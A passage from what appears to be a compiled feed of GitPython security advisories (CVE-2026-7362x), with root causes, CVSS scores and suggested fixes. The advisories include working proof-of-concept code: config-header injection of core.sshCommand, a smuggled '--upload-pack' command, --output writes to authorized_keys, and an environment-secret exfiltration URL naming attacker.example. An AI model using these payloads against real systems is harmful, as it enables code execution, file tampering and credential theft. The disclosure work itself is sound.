tempfile.mkdtemp(dir=tmp) run("git", "init", "-q", p) open(os.path.join(p, "r"), "w").write("x") run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p) return p def injected_sshcommand(parent): r = run("git", "config", "-f", os.path.join(parent, ".git", "config"), "--get", "core.sshCommand") return (r.returncode, r.stdout.strip()) benign = "docs" evil = f'x"] [core] sshCommand={MARKER} #' # closes the header, opens [core] p_control = parent_repo() git.Repo(p_control).create_submodule(name=benign, path="docs", url=suburl) p_exploit = parent_repo() git.Repo(p_exploit).create_submodule(name=evil, path="sub", url=suburl) ctl = injected_sshcommand(p_control) exp = injected_sshcommand(p_exploit) header = [l for l in open(os.path.join(p_exploit, ".git", "config")).read().splitlines() if l.startswith("[submodule")][0] print("control name :", repr(benign)) print(" git core.sshCommand ->", ctl, "(unset)") print("exploit name :", repr(evil)) print(" written header ->", header) print(" git core.sshCommand ->", exp) assert ctl[0] != 0 and ctl[1] == "", "control unexpectedly set core.sshCommand" assert exp == (0, MARKER), "not reproduced" print(f"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} " f"into the victim's trusted .git/config (git would run it on the next ssh op)") ``` Run: ```bash uv run --with GitPython==3.1.52 python poc.py ``` Observed output: ``` ##### GitPython 3.1.52 control name : 'docs' git core.sshCommand -> (1, '') (unset) exploit name : 'x"] [core] sshCommand=MARKER_9f3a #' written header -> [submodule "x"] [core] sshCommand=MARKER_9f3a #"] git core.sshCommand -> (0, 'MARKER_9f3a') VERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim's trusted .git/config (git would run it on the next ssh op) ``` The benign name yields a single clean `[submodule "docs"]` section; the malicious name yields an injected `core.sshCommand`. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced `"` makes git reject the header); the `submodule "<name>"` wrapper balances them automatically. ##### Impact Arbitrary attacker-controlled write into the victim's repository-local `.git/config`, which git fully trusts. `core.sshCommand` is executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (`alias.*`, `core.pager`, `core.fsmonitor`) fire on more common operations. Reachable in default configuration through two realistic paths: - an application that constructs a submodule from untrusted input via `Repo.create_submodule(name=...)` (single call); or - `Repo.clone_from` of an untrusted repository followed by `submodule_update` — the canonical submodule threat model, where the malicious name is read from the cloned `.gitmodules`. No non-default git settings are required. Primarily a Unix vector: on Windows the `"` in the resulting `.git/modules/<name>` directory name can abort the fresh-clone write branch (the direct config-API and `create_submodule` sinks are unaffected). ##### Recommended fix Reject or escape configuration section/subsection/option **names** that contain `]`, `[`, `"`, or leading/trailing whitespace (or apply git's own section-name escaping) in `_assure_config_name_safe` / `write_section`, rather than only CR/LF/NUL. Validating submodule names before they reach `sm_section` would additionally close the clone-driven path. #### Severity - CVSS Score: 7.0 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3rp5-jjmw-4wv2](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3rp5-jjmw-4wv2) - [https://github.com/gitpython-developers/GitPython/commit/1ed1b924f4e2d2ee7bab296df77b978af21853f1](https://github.com/gitpython-developers/GitPython/commit/1ed1b924f4e2d2ee7bab296df77b978af21853f1) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.53](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.53) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-3rp5-jjmw-4wv2) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Incomplete unsafe_git_clone_options denylist omits --template enabling arbitrary command execution via clone hooks [CVE-2026-73623](https://nvd.nist.gov/vuln/detail/CVE-2026-73623) / [GHSA-6p8h-3wgx-97gf](https://github.com/advisories/GHSA-6p8h-3wgx-97gf) / PYSEC-2026-3952 <details> <summary>More information</summary> #### Details ##### Summary GitPython's `unsafe_git_clone_options` denylist omits `--template`. `git clone --template=<dir>` copies `<dir>/hooks/` into the new repository and runs them (`post-checkout` fires during clone), so a caller who can influence clone options can achieve arbitrary command execution in the default `allow_unsafe_options=False` configuration. ##### Root Cause `base.py:145-152` defines `unsafe_git_clone_options = ["--upload-pack","-u","--config","-c"]` — `--template` is absent. The guard candidate `['--template']` passes `check_unsafe_options` (verified). git copies the hook directory and executes `post-checkout` at checkout time. git's `protocol.allow`/`GIT_ALLOW_PROTOCOL` do not gate `--template`; the incomplete denylist is the only defense. ##### Impact Arbitrary OS command execution during clone (default config). Requires an attacker-readable directory containing an executable hook — a genuine second precondition (realistic via shared filesystems, upload dirs, `/tmp`, or attacker-writable network paths), reflected as AC:H. ##### Proof of Concept ```python ##### attacker stages <dir>/hooks/post-checkout (chmod +x) from git import Repo Repo.clone_from(src, dst, template='<dir>') # post-checkout hook executes -> marker created (verified) ``` ##### Attack Chain 1. Setup: attacker stages `<dir>/hooks/post-checkout` (chmod +x). Guard: n/a (filesystem). 2. Entry: `Repo.clone_from(url, path, template='<dir>')`. Guard: `check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options)`. Bypass proof: `--template` not on the denylist -> passes (verified candidate `['--template']`, no error). 3. Sink: git copies the hook and executes `post-checkout` at checkout. Impact: ACE, default config (verified marker created). ##### Bypass Evidence Live-verified on HEAD (tag 3.1.53): guard candidate `['--template']` passed with no error; staged `post-checkout` hook executed during `clone_from`, creating the marker. Independent of the value-smuggle bypass (`--template` is a legitimate long option that survives any single-char-value fix). Not covered by any existing advisory. ##### Affected Versions `<= 3.1.53` ##### Suggested Fix Add `--template` (and audit for other hook/exec-influencing options) to `unsafe_git_clone_options`. --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf) - [https://github.com/gitpython-developers/GitPython/pull/2180](https://github.com/gitpython-developers/GitPython/pull/2180) - [https://github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97](https://github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-6p8h-3wgx-97gf) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Arbitrary file overwrite via git diff --output argument injection in Diffable.diff (key- and value-controlled) [CVE-2026-73624](https://nvd.nist.gov/vuln/detail/CVE-2026-73624) / [GHSA-fjr4-x663-mwxc](https://github.com/advisories/GHSA-fjr4-x663-mwxc) <details> <summary>More information</summary> #### Details ##### Summary `Diffable.diff()` forwards `**kwargs` straight into `diff`/`diff_tree` with **no** `check_unsafe_options` guard. `Diffable` is mixed into `Commit`, `Tree`, `IndexFile`, and `Submodule`, giving a broad surface. `git diff --output=<path>` writes real patch content to an attacker-chosen path, enabling arbitrary file overwrite. ##### Root Cause `diff.py:188-283` builds and runs the diff command with no `check_unsafe_options` anywhere in the method (grep-confirmed). Additionally `diff.py:265` does `args.insert(0, other)`, placing the caller-supplied `other` ref BEFORE the `--` separator, so a value of `--output=/path` is parsed by git as an option — a value-only control path requiring no kwarg key. ##### Impact Overwrite/corrupt any file at process privilege with attacker-chosen path (e.g. `~/.ssh/authorized_keys`, configs, lockfiles). Content is real diff/patch bytes (attacker-influenced). Per the skill's rule, controlling WHICH file is overwritten = I:H regardless of content constraints. ##### Proof of Concept ```python ##### Key-control: commit.diff(other_commit, output='/home/app/.ssh/authorized_keys') # victim overwritten with diff (105 bytes verified) ##### Value-control (attacker controls only the ref string): commit.diff(other='--output=/home/app/.ssh/authorized_keys') # 14-byte victim -> 146 bytes of diff-tree output ``` ##### Attack Chain 1. Entry (value-control): `commit.diff(other=<user ref>)` with `other = "--output=/home/app/.ssh/authorized_keys"`. Guard: none in `Diffable.diff`. Bypass proof: no `check_unsafe_options` in the method body (grep); `other` inserted pre-`--` at diff.py:265. 2. Sink: `git diff-tree <sha> --output=/home/app/.ssh/authorized_keys -r ...` -> git opens+truncates the target then writes diff content. Impact: overwrite/corrupt any file at process privilege (attacker chooses the path). Verified argv and victim overwrite live. ##### Bypass Evidence Live-verified on HEAD (tag 3.1.53): both key-control (`output=`) and value-control (`other='--output=...'`) overwrote a victim file with real diff-tree content; argv confirmed `['git','diff-tree','<sha>','--output=/victim','-r',...]`. This is the same value-control model GHSA-956x deemed fix-worthy for `iter_commits(rev='--output=')` — but `diff` is a distinct, unguarded sink NOT touched by that fix. ##### Affected Versions `<= 3.1.53` ##### Suggested Fix Add `check_unsafe_options` to `Diffable.diff` (mirroring `iter_commits`/`archive`), and/or place `--end-of-options` before the `other` ref so it cannot be parsed as an option. --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 8.1 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc) - [https://github.com/gitpython-developers/GitPython/pull/2180](https://github.com/gitpython-developers/GitPython/pull/2180) - [https://github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6](https://github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-fjr4-x663-mwxc) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Unsafe git option guard bypass via single-character kwarg value token smuggling enables arbitrary command execution [CVE-2026-73625](https://nvd.nist.gov/vuln/detail/CVE-2026-73625) / [GHSA-r9mr-m37c-5fr3](https://github.com/advisories/GHSA-r9mr-m37c-5fr3) / PYSEC-2026-3953 <details> <summary>More information</summary> #### Details ##### Summary GitPython's `check_unsafe_options` guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for **every** guarded method (`clone`/`clone_from`, `fetch`/`pull`/`push`, `ls_remote`, `iter_commits`, `blame`, `archive`) by smuggling an option token inside the VALUE of a single-character kwarg. In the default `allow_unsafe_options=False` configuration this yields arbitrary command execution via `--upload-pack`. ##### Root Cause The guard builds its candidate option list from kwarg KEYS only: `_option_candidates([], {"n":"--upload-pack=<cmd>"})` returns `['-n']` (cmd.py:1042-1046 derives the candidate from the key, never the value). `-n` is not on the denylist, so `check_unsafe_options` passes. But `transform_kwarg('n', value, split_single_char_options=True)` (cmd.py:1600-1606) emits **two** argv tokens `['-n', '--upload-pack=<cmd>']`. git then parses the second token as `--upload-pack` and executes the attacker-supplied command. The guard never inspects the value that becomes a separate argv token. ##### Impact Arbitrary OS command execution as the host process (via `--upload-pack`) in the default configuration, affecting all guarded methods since they all build candidates through the name-only `_option_candidates`. ##### Proof of Concept ```python from git import Repo Repo.clone_from(bare_repo, out_dir, n="--upload-pack=touch /tmp/ACE;git-upload-pack") ##### /tmp/ACE created -> ACE. Direct-name form upload_pack="..." is correctly BLOCKED. ``` File-write variant on a guarded revision command: `iter_commits('HEAD', g='--output=/path')` -> candidate `['-g']` passes, argv `['-g','--output=/path']`, victim file truncated. ##### Attack Chain 1. Entry: app forwards a user-supplied options dict -> `Repo.clone_from(url, path, n="--upload-pack=touch /tmp/ACE;git-upload-pack")`. Guard: `check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options)` at base.py. Bypass proof: `_option_candidates([], {"n":"--upload-pack=..."})` -> `['-n']` (key-only), not on denylist -> no UnsafeOptionError (verified live). 2. Transform: `transform_kwarg('n', value, split_single_char_options=True)` -> `['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']`. Guard: none (guard already passed on name-only candidate). Bypass proof: verified transform emits two tokens. 3. Sink: `git clone -n --upload-pack='touch ...;git-upload-pack' -- <src> <dst>`; git parses and runs the second token. Impact: ACE (marker created, verified end-to-end). ##### Bypass Evidence Live-verified on HEAD (tag 3.1.53): `_option_candidates` returns key-only candidate `['-n']`; `transform_kwargs` emits the smuggled `--upload-pack=` token; clone_from with the payload created the marker file; the direct-name `upload_pack=` form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option, GHSA-x2qx multi-before-split) are BLOCKED on HEAD — this is a distinct kwarg-value->separate-token vector. ##### Affected Versions `<= 3.1.53` ##### Suggested Fix Make `_option_candidates` also emit candidates derived from single-character kwarg VALUES when `split_single_char_options` is in effect, OR run `check_unsafe_options` over the fully-transformed argv rather than the reconstructed name-only candidate list. --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3) - [https://github.com/gitpython-developers/GitPython/pull/2180](https://github.com/gitpython-developers/GitPython/pull/2180) - [https://github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453](https://github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-r9mr-m37c-5fr3) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-73623](https://nvd.nist.gov/vuln/detail/CVE-2026-73623) / [GHSA-6p8h-3wgx-97gf](https://github.com/advisories/GHSA-6p8h-3wgx-97gf) / PYSEC-2026-3952 <details> <summary>More information</summary> #### Details GitPython before 3.1.54 contains an incomplete denylist in unsafe_git_clone_options that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute when git clones the repository. #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-template](https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-template) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3952) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### [CVE-2026-73625](https://nvd.nist.gov/vuln/detail/CVE-2026-73625) / [GHSA-r9mr-m37c-5fr3](https://github.com/advisories/GHSA-r9mr-m37c-5fr3) / PYSEC-2026-3953 <details> <summary>More information</summary> #### Details GitPython versions before 3.1.54 contain a remote code execution vulnerability in the check_unsafe_options guard that can be bypassed by smuggling git options inside single-character kwarg values. Attackers can supply crafted option dictionaries to clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive methods to execute arbitrary OS commands via the --upload-pack parameter. #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X` #### References - [https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-kwarg-value-smuggling](https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-kwarg-value-smuggling) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3953) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573) [CVE-2026-73622](https://nvd.nist.gov/vuln/detail/CVE-2026-73622) / [GHSA-94p4-4cq8-9g67](https://github.com/advisories/GHSA-94p4-4cq8-9g67) / PYSEC-2026-3951 <details> <summary>More information</summary> #### Details ##### Summary The fix for [GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process's environment secret, written into `.git/config`, and then transmitted to the attacker's host on the next `fetch`/`pull`. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed. ##### Root Cause Fix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper's dangerous default was left in place, and the other callers were not updated. [`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`: ```python url = Git.polish_url(url) # expand_vars=True -> os.path.expandvars(url) if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) # https:// carrying the secret passes repo.git.remote(scmd, "--", name, url, **kwargs) # expanded URL written to .git/config ``` `check_unsafe_protocols()` runs *after* expansion here, so it rejects an `ext::` payload but does nothing about an `https://` URL that carries an expanded secret in its path or host — the disclosure primitive. The same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611) (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked file) and `.git/config`. ##### Steps to Reproduce ##### Prerequisites - Python 3.9+ - `git` on `PATH` (for the fetch step) - GitPython 3.1.53 (installed below) ##### Step 1: Install GitPython 3.1.53 in a clean venv ```bash mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc python3 -m venv venv ./venv/bin/pip install gitpython==3.1.53 ``` ##### Step 2: Write the PoC ```bash cat > poc.py <<'PYEOF' #!/usr/bin/env python3 """Env-var exfiltration via Repo.create_remote() URL. Sentinel data only.""" import http.server import os import tempfile import threading import git print("gitpython version:", git.__version__) ##### Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY. SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use" os.environ["GP_SENTINEL_SECRET"] = SENTINEL ##### Local HTTP server standing in for attacker.example. captured = [] class Handler(http.server.BaseHTTPRequestHandler): def do_GET(self): captured.append(self.path) self.send_response(404) self.end_headers() def log_message(self, *a): pass srv = http.server.HTTPServer(("127.0.0.1", 0), Handler) port = srv.server_address[1] threading.Thread(target=srv.serve_forever, daemon=True).start() ##### Attacker-controlled URL handed to an "import from URL" feature. attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port def norm(s): # display the ephemeral listener port as a stable placeholder return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT") print("attacker-supplied URL :", norm(attacker_url)) repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-")) remote = repo.create_remote("evil", attacker_url) # public API stored = repo.remote("evil").url print("stored remote URL :", norm(stored)) print("SENTINEL in git config:", SENTINEL in stored) try: remote.fetch() # transmits the expanded URL to the attacker host except Exception: pass # fetch fails after the request is already sent srv.shutdown() over_network = any(SENTINEL in p for p in captured) print("HTTP paths received :", [norm(p) for p in captured]) print("SENTINEL over network :", over_network) print() if SENTINEL in stored and over_network: print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host") elif SENTINEL in stored: print("VULNERABLE: env-var expanded into stored git-config URL") else: print("not reproduced") PYEOF ``` ##### Step 3: Run it ```bash cd /tmp/gp-remote-poc && ./venv/bin/python poc.py ``` Expected output (the listener's ephemeral port is shown as `PORT`): ``` gitpython version: 3.1.53 attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git stored remote URL : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git SENTINEL in git config: True HTTP paths received : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack'] SENTINEL over network : True VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host ``` The `${GP_SENTINEL_SECRET}` token in the supplied URL is replaced with the environment value both in the stored `.git/config` URL and in the request that reaches the attacker-controlled host. ##### Suggested Fix Pass `expand_vars=False` at the remaining URL callers, matching the clone fix: - `git/remote.py` `Remote.create`: `url = Git.polish_url(url, expand_vars=False)` - `git/objects/submodule/base.py` `Submodule.add`: `url = Git.polish_url(url, expand_vars=False)` More robustly, flip the `Git.polish_url()` default to `expand_vars=False` (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in. ##### Cleanup ```bash rm -rf /tmp/gp-remote-poc ``` ##### Impact Any secret in the hosting process environment (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to `Repo.create_remote()` / `Remote.add()`. The secret is expanded into `.git/config` immediately and transmitted over the network (DNS + HTTP) on the next `fetch`/`pull`/`remote update`. This is the documented "import repository from URL" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches `.gitmodules` (a committable file) via `Submodule.add()`. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67) - [https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162](https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-94p4-4cq8-9g67) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-73622](https://nvd.nist.gov/vuln/detail/CVE-2026-73622) / [GHSA-94p4-4cq8-9g67](https://github.com/advisories/GHSA-94p4-4cq8-9g67) / PYSEC-2026-3951 <details> <summary>More information</summary> #### Details GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations. #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X` #### References - [https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-remote-add](https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-remote-add) - [https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3951) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Arbitrary file truncation via git rev-list --output argument injection in unguarded Commit.count [CVE-2026-73621](https://nvd.nist.gov/vuln/detail/CVE-2026-73621) / [GHSA-p538-c434-8v24](https://github.com/advisories/GHSA-p538-c434-8v24) / PYSEC-2026-3950 <details> <summary>More information</summary> #### Details ##### Summary `Commit.count()` forwards `**kwargs` into `rev_list` with **no** `check_unsafe_options` guard (the guard exists only in the sibling `iter_items`, commit.py:341). `git rev-list --output=<path>` opens and truncates the target file to 0 bytes before revision parsing, so `count(output='/victim')` destroys/blanks an arbitrary file. ##### Root Cause `commit.py:290-291` calls `self.repo.git.rev_list(self.hexsha, **kwargs)` with no `check_unsafe_options` and no `allow_unsafe_options` parameter. The sibling `iter_items` (commit.py:341) is guarded; `count` is not. This is a distinct, uncovered sink — GHSA-956x-8gvw-wg5v fixed `iter_commits`/`blame`, not `count`. ##### Impact Destroy/blank an arbitrary file at process privilege (integrity/availability). Reachability is key-control only (`count` uses `self.hexsha`, not a user ref), and the write is a 0-byte truncation (no content control), so MEDIUM. ##### Proof of Concept ```python commit.count(output='/path/to/victim') # victim truncated to 0 bytes (verified) ##### control: commit.iter_commits(output=...) raises UnsafeOptionError ``` ##### Attack Chain 1. Entry: app forwards user options -> `commit.count(output='/victim')`. Guard: none. Bypass proof: `iter_commits(output=)` raises UnsafeOptionError; `count(output=)` does not — verified side-by-side. 2. Sink: `git rev-list <sha> --output=/victim` -> file truncated to 0 bytes. Impact: destroy/blank arbitrary file. ##### Bypass Evidence Live-verified on HEAD (tag 3.1.53): `count(output=<victim>)` truncated a pre-existing file to 0 bytes; guarded `iter_commits(output=)` raised UnsafeOptionError. Same CNA-accepted "app forwards user options dict" model as GHSA-956x-8gvw-wg5v's `archive(**kwargs)`. Uncovered sink, not a duplicate. ##### Affected Versions `<= 3.1.53` ##### Suggested Fix Add `check_unsafe_options` to `Commit.count` (mirroring `iter_items`). --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 5.4 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-p538-c434-8v24](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-p538-c434-8v24) - [https://github.com/gitpython-developers/GitPython/pull/2184](https://github.com/gitpython-developers/GitPython/pull/2184) - [https://github.com/gitpython-developers/GitPython/commit/38553b6fddc7f6a667cdb45a6762343a08fc72b2](https://github.com/gitpython-developers/GitPython/commit/38553b6fddc7f6a667cdb45a6762343a08fc72b2) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.56](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.56) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-p538-c434-8v24) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-73621](https://nvd.nist.gov/vuln/detail/CVE-2026-73621) / [GHSA-p538-c434-8v24](https://github.com/advisories/GHSA-p538-c434-8v24) / PYSEC-2026-3950 <details> <summary>More information</summary> #### Details GitPython before 3.1.56 contains an argument injection vulnerability in the Commit.count() method, which forwards keyword arguments to 'git rev-list' without the check_unsafe_options guard present in the sibling iter_items method. An attacker who can control options passed to Commit.count (e.g., via an application that forwards a user-supplied options dict) can supply output=<path>, causing 'git rev-list --output=<path>' to open and truncate the target file to zero bytes before revision parsing. This allows destruction/blanking of an arbitrary file at the process's privilege level (no content control, 0-byte truncation). #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: 